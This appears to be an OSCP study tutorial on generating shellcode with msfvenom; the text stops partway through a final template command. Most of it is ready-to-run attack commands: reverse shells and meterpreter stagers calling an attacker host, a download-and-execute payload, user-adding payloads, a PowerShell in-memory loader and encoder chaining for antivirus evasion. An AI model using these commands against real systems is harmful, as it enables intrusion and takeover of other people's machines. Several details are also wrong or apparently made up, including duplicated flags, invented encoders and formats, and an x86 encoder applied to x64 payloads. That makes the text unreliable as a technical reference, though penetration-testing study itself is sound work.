Shellcode Generation with msfvenom
1. What is msfvenom?
msfvenom is the unified payload generation and encoding tool in the Metasploit Framework. It was created by merging two separate tools:
msfpayload— generated raw shellcode payloadsmsfencode— encoded shellcode to evade detection and handle bad characters
The merger happened in 2015 (Metasploit v4.12.0), consolidating both functionalities into a single, more powerful tool.
Why msfvenom Matters for OSCP
During OSCP exploit development, you will frequently need to:
- Generate shellcode that fits within a vulnerable buffer
- Avoid bad characters that corrupt your payload in transit
- Produce shellcode in various formats for integration into Python/Ruby/C exploit scripts
- Iterate on encoding strategies when initial attempts fail
graph LR
A[msfvenom] --> B[Payload Selection]
A --> C[Encoder Selection]
A --> D[Output Format]
B --> E[reverse_tcp]
B --> F[bind_tcp]
B --> G[meterpreter]
B --> H[exec]
C --> I[shikata_ga_nai]
C --> J[cjk]
C --> K[countdown]
D --> L[Python]
D --> M[C / C++]
D --> N[Ruby]
D --> O[Raw Hex]
D --> P[PowerShell]
2. Complete Command Reference
Syntax
msfvenom [options]
All Options
| Option | Short | Description | Example |
|---|---|---|---|
--payload |
-p |
Set the payload module | -p windows/x64/meterpreter/reverse_tcp |
--list |
-l |
List a specific module type | -l payloads |
--encoder |
-e |
Set the encoder module | -e x86/shikata_ga_nai |
--list-encoders |
List all available encoders | ||
--format |
-f |
Set the output format | -f py |
--list-formats |
List all output formats | ||
--bad-chars |
-b |
Characters to avoid in hex | -b '\x00\x0a\x0d' |
--iterations |
-i |
Number of encoding iterations | -i 5 |
--platform |
-a |
Target platform | -a windows |
--arch |
Target architecture | --arch x86 |
|
--space |
-s |
Maximum payload size in bytes | -s 900 |
--encoder-space |
Max size for encoded payload | --encoder-space 800 |
|
--buffer-register |
-o |
Register used for buffer (for some payloads) | |
--force |
-f |
Force output without confirmation | |
--out |
-o |
Write output to file | -o shellcode.bin |
--smallest |
Generate the smallest possible payload | ||
--help |
-h |
Show help | |
--nopsled |
-n |
Nop sled length | -n 16 |
--password |
Set password for encrypted payloads | ||
--session-port |
Override session port |
Payload Options (-o style)
Payload-specific options are passed using the OPTION=value syntax:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
Common payload options:
| Option | Description |
|---|---|
LHOST |
Listener IP address |
LPORT |
Listener port |
RHOST |
Target IP (for bind payloads) |
RPORT |
Target port (for bind payloads) |
EXITFUNC |
Exit function: thread, process, seh, none |
PREPENDMUMMER |
Prepend a specific number of nops |
InitialAutoRunScript |
Auto-run script for meterpreter |
PAYLOAD_REVERSE_THREAD |
Spawn reverse thread |
3. Listing Available Resources
List All Payloads
msfvenom -l payloads
This returns hundreds of payloads organized by platform:
Name Disclosure Date Rank Description
---- --------------- ---- -----------
android/meterpreter/reverse_tcp normal Android Meterpreter, Reverse TCP Inline
android/meterpreter_reverse_http normal Android Meterpreter, Reverse HTTP Inline
android/meterpreter_reverse_https normal Android Meterpreter, Reverse HTTPS Inline
android/shell/reverse_tcp normal Android Shell, Reverse TCP Inline
bsd/x64/meterpreter/reverse_tcp normal Meterpreter, Linux x86_64 Launch Interactive System Shell
...
windows/x64/meterpreter/reverse_tcp excellent Meterpreter, Reverse TCP Handler (x64)
windows/meterpreter/reverse_tcp excellent Meterpreter, Reverse TCP Handler
windows/x64/exec normal Execute Command
windows/exec normal Execute Command
...
List All Encoders
msfvenom -l encoders
Name Rank Description
---- ---- -----------
cmd/append_nullify good ASCII 7-bit
cmd/avoid_last_char good ASCII 7-bit
cmd/escape great ASCII 7-bit
cmd/generic_sh great ASCII 7-bit
cmd/ifs great ASCII 7-bit
cmd/ntlm_charset great NTLM Charset
cmd/perl great ASCII 7-bit
cmd/powershell_base64 great ASCII 7-bit
cmd/printf_percent great ASCII 7-bit
cmd/ps_base64 great ASCII 7-bit
cmd/python ASCII 7-bit
cmd/registry ASCII 7-bit
generic/eicar normal Generic EICAR
generic/none normal Generic None
generic/shikata_ga_nai normal Generic Shikata Ga Nai
mipsme/unicode normal MIPS ME Unicode
php/base64 normal PHP Base64
ppc/longxor normal PPC LongXor Dynamic Xor Key
ppc/longxor_tag normal PPC LongXor Dynamic Xor Key
python/evasion normal Python Evasion
python/metadata normal Python Metadata
python/shikata_ga_nai normal Python Shikata Ga Nai
ruby/base64 normal Ruby Base64
sparc/longxor_tag normal SPARC LongXor Dynamic Xor Key
x64/xor normal X64 XOR
x64/xor_dynamic normal X64 XOR Dynamic
x86/add normal X86 polymorphic add
x86/alpha_mixed manual X86 AlphaNumeric Mixedcase
x86/alpha_upper manual X86 AlphaNumeric Uppercase
x86/avoid_utf8_tolower manual X86 Avoid UTF8 Towlower
x86/call4_dword_xor normal X86 Call4 Dword XOR
x86/countdown excellent X86 Countdown
x86/fnstenv_mov manual X86 Const. Pool MOV XOR
x86/jmp_call_additive normal X86 Jump/Call XOR Additive
x86/nonalpha manual X86 Non-Alpha
x86/nonupper manual X86 Non-Upper
x86/opt_substitute manual X86 Opt. Substitute
x86/service manual X86 Service
x86/shikata_ga_nai excellent X86 Polymorphic XOR Additive Feedback
x86/unicode_mixed manual X86 Unicode Mixedcase
x86/unicode_upper manual X86 Unicode Uppercase
x86/xor_dynamic normal X86 Dynamic XOR
List All Output Formats
msfvenom -l formats
Name Description
---- -----------
bash Bash command
c C source code
csharp C# source code
custom Custom format
dword Dword array
dw2exe Dword array as EXE
dotnetbinder .NET Binder
dotnetexe .NET executable
dll DLL
dol Nintendo Switch payload
elf ELF executable
exe EXE executable
exe-only EXE (no stub)
exe-service EXE as Windows Service
exe-small Small EXE
hex Hex string
java Java source code
javascript JavaScript
json JSON
loop-vb Visual Basic loop
lua Lua source code
macho Mach-O executable
num Number array
objc Objective-C source code
pdf PDF
plan9 Plan 9 executable
powershell PowerShell command
powershell-cmd PowerShell command (via cmd)
powershell-enum PowerShell enumeration
powershell-lexicon PowerShell lexicon
powershell-reflect PowerShell reflective
ps1 PowerShell script
raw Raw binary
rb Ruby source code
rbal Ruby array literal
rc Metasploit resource script
riff RIFF AVI
sh Shell script
vbapplication VB Application
vbs VBScript
war WAR archive
4. Payload Deep Dive
4.1 reverse_tcp — The Workhorse
Full path: windows/meterpreter/reverse_tcp or windows/x64/meterpreter/reverse_tcp
The reverse TCP payload is the most commonly used payload in OSCP. The target connects back to your attacker machine.
Why Reverse TCP?
- Works through NAT and firewalls (outbound connections are usually allowed)
- No need to know the target’s listening port configuration
- Reliable and well-tested
Basic Usage
# 32-bit Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# 64-bit Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Linux x86
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Linux x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
Pros and Cons
| Pros | Cons |
|---|---|
| Smallest payload size (~290 bytes for reverse_tcp vs ~500+ for meterpreter) | Requires you to know your own IP |
| Works through most firewalls | Requires an open port on your machine |
| Most reliable for OSCP | AV may detect meterpreter variants |
| Well-documented and tested |
Raw vs Meterpreter
# Simple reverse shell (smaller, less detection)
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Size: ~315 bytes
# Meterpreter reverse shell (full post-exploitation)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Size: ~295 bytes (surprisingly small due to stager)
Key Insight: The
meterpreter/reverse_tcppayload is actually a stager — it’s small because it downloads the full meterpreter DLL (meterpreter.dll) at runtime. Theshell/reverse_tcppayload is self-contained.
4.2 bind_tcp — When Reverse Doesn’t Work
Full path: windows/meterpreter/bind_tcp
The target opens a listening port and waits for your connection.
Usage
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f py
Pros and Cons
| Pros | Cons |
|---|---|
| No need for attacker IP configuration | Target must allow inbound connections on the port |
| Useful when you can’t bind a listener | Firewall/NAT often blocks inbound |
| Simpler exploit code (no LHOST needed) | Larger payload size |
| Less reliable in OSCP environments |
4.3 meterpreter Variants
Meterpreter is Metasploit’s advanced payload framework. It runs in-memory and provides powerful post-exploitation capabilities.
Available Meterpreter Payloads
# Standard meterpreter (staged — downloads DLL at runtime)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Meterpreter reverse HTTPS (evades basic HTTP inspection)
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=443 -f py
# Meterpreter reverse TCP ALL (tries multiple methods)
msfvenom -p windows/meterpreter/reverse_tcp_all LHOST=10.10.14.3 LPORT=4444 -f py
# Staged vs Stageless
# Staged (smaller initial payload, downloads rest at runtime)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Stageless (self-contained, larger, no download needed)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Note: underscore instead of slash before 'reverse'
Staged vs Stageless — Critical Distinction
graph TD
subgraph "Staged Payload"
A1[Small Stager ~300B] -->|Connects back| B1[Handler downloads meterpreter.dll]
B1 --> C1[Full Meterpreter Session]
end
subgraph "Stageless Payload"
A2[Large Self-Contained ~500KB+] --> C2[Full Meterpreter Session]
end
| Feature | Staged | Stageless |
|---|---|---|
| Initial size | ~290-350 bytes | ~500,000+ bytes |
| Requires handler | Yes | No |
| Fits in small buffers | Yes | Rarely |
| Bad char friendly | Yes (small) | No (too large) |
| OSCP recommendation | Primary choice | Avoid for buffer overflows |
For OSCP: Always use staged payloads for buffer overflow exploits. The small size makes them manageable with encoders.
4.4 exec — Simple Command Execution
Full path: windows/exec or windows/x64/exec
Executes a single command — no interactive shell, no meterpreter.
Usage
# Execute whoami
msfvenom -p windows/exec CMD='whoami' -f py
# Execute net user
msfvenom -p windows/exec CMD='net user hacker Pass123! /add' -f py
# Execute PowerShell download cradle
msfvenom -p windows/exec CMD='powershell -enc <base64payload>' -f py
Pros and Cons
| Pros | Cons |
|---|---|
| Very small payload | No interactive shell |
| Simple and reliable | Single command only |
| Good for specific tasks | No post-exploitation framework |
| Useful when buffer is tiny | Output not returned to attacker |
4.5 download_exec — File Download and Execute
Full path: windows/download_exec
Downloads a file from a URL and executes it on the target.
Usage
msfvenom -p windows/download_exec URIPATH=http://10.10.14.3:8080/malware.exe -f py
Pros and Cons
| Pros | Cons |
|---|---|
| Bypasses payload size limits | Requires HTTP server |
| Can deliver any executable | Two-step process |
| Useful for large tools | Network-dependent |
| May trigger additional AV alerts |
4.6 Other Useful Payloads for OSCP
# Windows shell (non-meterpreter, simple cmd.exe)
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Windows add user
msfvenom -p windows/adduser USER=hacker PASS=Password1! -f py
# Linux reverse shell
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Linux exec
msfvenom -p linux/x86/exec CMD='/bin/bash' -f py
# PHP reverse shell (for web app exploitation)
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw
# Java reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw
5. Encoder Deep Dive
Encoders transform shellcode to avoid bad characters and potentially evade detection. They are essential for OSCP exploit development.
5.1 x86/shikata_ga_nai — The Gold Standard
Rank: Excellent
The most reliable and widely-used encoder for x86 shellcode. Uses polymorphic XOR additive feedback decryption.
How It Works
graph LR
A[Original Shellcode] --> B[XOR with rotating key]
B --> C[Additive feedback modifies key]
C --> D[Decryption stub prepended]
D --> E[Encoded Shellcode]
- Takes the original shellcode
- XORs each byte with a key derived from an additive feedback algorithm
- Prepends a small decryption stub that reverses the process at runtime
- The stub is polymorphic — it changes each time, providing variation
Basic Usage
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-f py
With Iterations
# Single pass
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 1 \
-b '\x00\x0a\x0d' \
-f py
# Multiple passes (more obfuscation, larger size)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-b '\x00\x0a\x0d' \
-f py
Reliability Analysis
| Aspect | Rating | Notes |
|---|---|---|
| Bad char elimination | ⭐⭐⭐⭐⭐ | Excellent at removing common bad chars |
| Size growth | ⭐⭐⭐⭐ | Moderate growth per iteration |
| Stability | ⭐⭐⭐⭐⭐ | Very stable, rarely crashes |
| AV evasion | ⭐⭐⭐ | Well-known pattern, may be flagged |
| OSCP success rate | ⭐⭐⭐⭐⭐ | The go-to encoder |
5.2 x86/countdown — The Reliable Alternative
Rank: Excellent
A countdown-based decoder that is extremely reliable. Often used when shikata_ga_nai fails.
How It Works
Uses a countdown loop as the decoder stub. Each byte is decoded by counting down from a specific value.
Usage
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/countdown \
-b '\x00\x0a\x0d' \
-i 3 \
-f py
Reliability Analysis
| Aspect | Rating | Notes |
|---|---|---|
| Bad char elimination | ⭐⭐⭐⭐ | Very good, slightly less flexible than sgn |
| Size growth | ⭐⭐⭐ | Can grow quickly with iterations |
| Stability | ⭐⭐⭐⭐⭐ | Extremely stable |
| When to use | When sgn fails or reintroduces bad chars |
5.3 x86/unicode_mixed — Unicode Conversion
Rank: Manual
Converts shellcode to Unicode (wide character) format. Useful for specific vulnerability types.
Usage
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/unicode_mixed \
-f py
When to Use
- Unicode buffer overflows (wide character strings)
- When the vulnerability expects UTF-16 input
- Specific application parsing scenarios
Reliability Analysis
| Aspect | Rating | Notes |
|---|---|---|
| Bad char elimination | ⭐⭐⭐ | Depends on target encoding |
| Use cases | Niche — Unicode-specific vulns | |
| OSCP relevance | ⭐⭐ | Rarely needed |
5.4 x86/cjk — CJK Character Encoder
Encodes shellcode using CJK (Chinese, Japanese, Korean) character ranges.
Usage
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/cjk \
-f py
When to Use
- When standard encoders reintroduce bad characters
- As a last-resort encoding strategy
- When dealing with specific character set restrictions
5.5 Other Notable Encoders
# XOR Dynamic — simple XOR with dynamic key
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/xor_dynamic \
-f py
# Jump/Call Additive — uses JMP/CALL instructions
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/jmp_call_additive \
-f py
# Call4 Dword XOR — XOR with 4-byte key
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/call4_dword_xor \
-f py
# AlphaNumeric — only uses alphanumeric characters
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/alpha_mixed \
-f py
Encoder Comparison Table
| Encoder | Bad Char Handling | Size Growth | Stability | Best For |
|---|---|---|---|---|
shikata_ga_nai |
Excellent | Moderate | Excellent | Default choice |
countdown |
Very Good | Moderate-High | Excellent | When sgn fails |
xor_dynamic |
Good | Low | Good | Quick encoding |
jmp_call_additive |
Good | Low | Good | Small payloads |
call4_dword_xor |
Good | Low | Good | Alternative to sgn |
unicode_mixed |
Niche | N/A | Good | Unicode vulns |
cjk |
Niche | N/A | Fair | Last resort |
alpha_mixed |
Specialized | High | Fair | Alphanumeric-only |
6. Output Formats Deep Dive
6.1 Python Format (-f py or -f python)
Most used format for OSCP exploit scripts.
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-f py
Output
buf = (
'\xd9\xeb\x9c\x1e\x88\xa7\x9e\xd9\x74\x24\xf4\x5b\x31\xc9'
'\xb1\x12\x31\x5b\x17\x83\xeb\xfc\x3b\x5a\x27\x02\x46\xb4'
'\x59\x51\x41\x5a\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b'
'\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b'
'\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b'
'\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b'
# ... continues
)
Integration into Exploit
#!/usr/bin/env python3
from pwn import *
# Generated by msfvenom
buf = (
'\xd9\xeb\x9c\x1e\x88\xa7\x9e\xd9\x74\x24\xf4\x5b\x31\xc9'
'\xb1\x12\x31\x5b\x17\x83\xeb\xfc\x3b\x5a\x27\x02\x46\xb4'
)
# Build exploit buffer
NOPSLED = b'\x90' * 16
JUMP = b'\x90' * (BUFFER_SIZE - len(buf) - len(NOPSLED) - 4)
RET_ADDR = b'\x41\x31\xC7\x75' # Example return address
payload = NOPSLED + buf + JUMP + RET_ADDR
6.2 C / C++ Format (-f c)
Useful for C-based exploits or when embedding shellcode in C programs.
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f c
Output
unsigned char buf[] = {
0xd9, 0xeb, 0x9c, 0x1e, 0x88, 0xa7, 0x9e, 0xd9,
0x74, 0x24, 0xf4, 0x5b, 0x31, 0xc9, 0xb1, 0x12,
0x31, 0x5b, 0x17, 0x83, 0xeb, 0xfc, 0x3b, 0x5a,
// ...
};
unsigned int bufLen = 354;
6.3 Ruby Format (-f rb or -f ruby)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f rb
Output
buf = [
'\xd9\xeb\x9c\x1e\x88\xa7\x9e\xd9\x74\x24\xf4\x5b\x31\xc9'
'\xb1\x12\x31\x5b\x17\x83\xeb\xfc\x3b\x5a\x27\x02\x46\xb4'
# ...
].join('\x00')
6.4 Raw Binary (-f raw or -f msf)
Outputs raw binary shellcode. Useful for writing to files or piping.
# Write to file
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f raw \
-o shellcode.bin
# Pipe to another tool
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f raw | xxd
6.5 PowerShell Format (-f powershell or -f ps1)
# PowerShell command
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f powershell
# PowerShell script file
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f ps1 \
-o payload.ps1
Output (powershell)
powershell -nop -exec bypass -c "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('AQIDBAUG...'));IEX(New-Object IO.StreamReader($s).ReadToEnd())"
6.6 Hex String (-f hex)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f hex
Output
d9eb9c1e88a79ed97424f45b31c9b112315b1783ebfc3b5a270246b4...
6.7 Other Useful Formats
# Bash array
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f bash
# Ruby array literal
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f rbal
# Number array
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f num
# ELF executable (Linux)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f elf -o shell.elf
# Windows EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell.exe
# DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f dll -o shell.dll
7. Bad Character Handling
7.1 What Are Bad Characters?
Bad characters are byte values that corrupt or terminate your payload when transmitted through the vulnerable application. Common bad characters include:
| Byte | Character | Why It’s Bad |
|---|---|---|
\x00 |
Null | String terminator in C |
\x0a |
Line Feed (LF) | Newline — breaks string input |
\x0d |
Carriage Return (CR) | Enter key — breaks string input |
\x0d\x0a |
CRLF | HTTP header separator |
\x20 |
Space | May truncate input |
\x22 |
Double Quote | String delimiter |
\x27 |
Single Quote | String delimiter |
7.2 How to Identify Bad Characters
Method 1: Send a Full Byte Array
# bad_chars_test.py
bad_chars = (
'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'
'\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f'
'\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f'
'\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f'
'\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f'
'\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f'
'\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f'
'\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f'
'\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f'
'\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf'
'\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf'
'\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf'
'\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf'
'\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef'
'\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
)
# Use this as your initial payload in the exploit
# Then check in Immunity Debugger which bytes are missing or corrupted
Method 2: Binary Comparison in Immunity
- Send the full byte array as your payload
- In Immunity Debugger, right-click the memory location → Follow in Dump
- Compare which bytes are missing or altered
- The missing/altered bytes are your bad characters
7.3 Using the -b Flag
# Common bad characters for stack-based buffer overflows
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-f py
# More restrictive bad character set
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' \
-f py
# No bad characters (most restrictive)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00' \
-f py
7.4 Iterative Bad Character Elimination
When the first encoding pass doesn’t eliminate all bad characters:
# Step 1: Generate with encoder
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 1 \
-f py
# Step 2: If bad chars remain, increase iterations
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f py
# Step 3: Try a different encoder
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/countdown \
-b '\x00\x0a\x0d' \
-i 3 \
-f py
# Step 4: Chain encoders (encode, then encode the result)
# First pass
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f raw \
-o /tmp/pass1.bin
# Second pass with different encoder
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f raw | msfvenom -e x86/countdown -b '\x00\x0a\x0d' -i 2 -f py
8. Encoder Iterations Explained
What Does -i Do?
The -i (iterations) flag tells the encoder to re-encode its own output multiple times.
graph LR
A[Raw Shellcode] -->|Iteration 1| B[Encoded Once]
B -->|Iteration 2| C[Encoded Twice]
C -->|Iteration 3| D[Encoded Thrice]
Size Impact of Iterations
# No encoding — baseline
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Size: ~295 bytes
# 1 iteration
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 1 -f py
# Size: ~354 bytes (+59 bytes)
# 3 iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 -f py
# Size: ~472 bytes (+177 bytes)
# 5 iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f py
# Size: ~590 bytes (+295 bytes)
Tradeoff Analysis
| Iterations | Size Growth | Bad Char Removal | Polymorphism | Recommendation |
|---|---|---|---|---|
| 1 | +20% | Good | Low | Start here |
| 2 | +40% | Very Good | Medium | Good balance |
| 3 | +60% | Excellent | Medium-High | Sweet spot for OSCP |
| 5 | +100% | Excellent | High | When 3 fails |
| 7+ | +140%+ | Excellent | High | Risk of exceeding buffer |
Rule of Thumb: Start with
-i 3. If it doesn’t work, try-i 5. If still failing, switch encoders before going higher.
9. Shellcode Size Constraints
Understanding Buffer Size Limits
In buffer overflow exploitation, your shellcode must fit within the available buffer space.
┌─────────────────────────────────────────────────────────────┐
│ Buffer Layout │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │
│ │ Nop Sled │ │ Shellcode│ │ Padding │ │ Return Addr │ │
│ │ (~16B) │ │ (~300B) │ │ (filler) │ │ (4 bytes) │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────────┘ │
│ │
│ Total must be <= Buffer Size │
└─────────────────────────────────────────────────────────────┘
Calculating Available Space
BUFFER_SIZE = 2003 # Total buffer you control
NOP_SLED = 16 # Nop sled size
RET_ADDR = 4 # Return address (4 bytes for x86)
AVAILABLE_FOR_SHELLCODE = BUFFER_SIZE - NOP_SLED - RET_ADDR
# AVAILABLE_FOR_SHELLCODE = 1983 bytes
Using the -s Flag for Size Constraints
# Force payload to fit within 500 bytes
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-s 500 \
-b '\x00\x0a\x0d' \
-f py
# Very tight constraint — 200 bytes
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-s 200 \
-b '\x00\x0a\x0d' \
-f py
When Size Is Too Tight
If your buffer is too small for meterpreter:
# Option 1: Use a simpler payload
msfvenom -p windows/shell/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f py
# Much smaller than meterpreter
# Option 2: Use exec payload
msfvenom -p windows/exec \
CMD='cmd.exe /c net user hacker P@ss123! /add' \
-f py
# Option 3: Use --smallest flag
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
--smallest \
-f py
Size Comparison Table
| Payload | Raw Size | Encoded (1 iter) | Encoded (3 iters) |
|---|---|---|---|
shell/reverse_tcp |
~315B | ~374B | ~492B |
meterpreter/reverse_tcp |
~295B | ~354B | ~472B |
exec (simple cmd) |
~100-150B | ~160B | ~280B |
adduser |
~150B | ~210B | ~330B |
10. Common msfvenom Commands for OSCP
Template 1: Standard Windows Reverse Shell (32-bit)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f py \
-o /tmp/shellcode.py
Template 2: Windows Reverse Shell (64-bit)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f py \
-o /tmp/shellcode.py
Template 3: Linux Reverse Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-b '\x00' \
-f py \
-o /tmp/shellcode.py
Template 4: No Bad Characters (Most Restrictive)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x09\x0a\x0d\x20' \
-i 5 \
-f py
Template 5: Fitting a Tight Buffer
msfvenom -p windows/shell/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-s 350 \
-b '\x00\x0a\x0d' \
-i 1 \
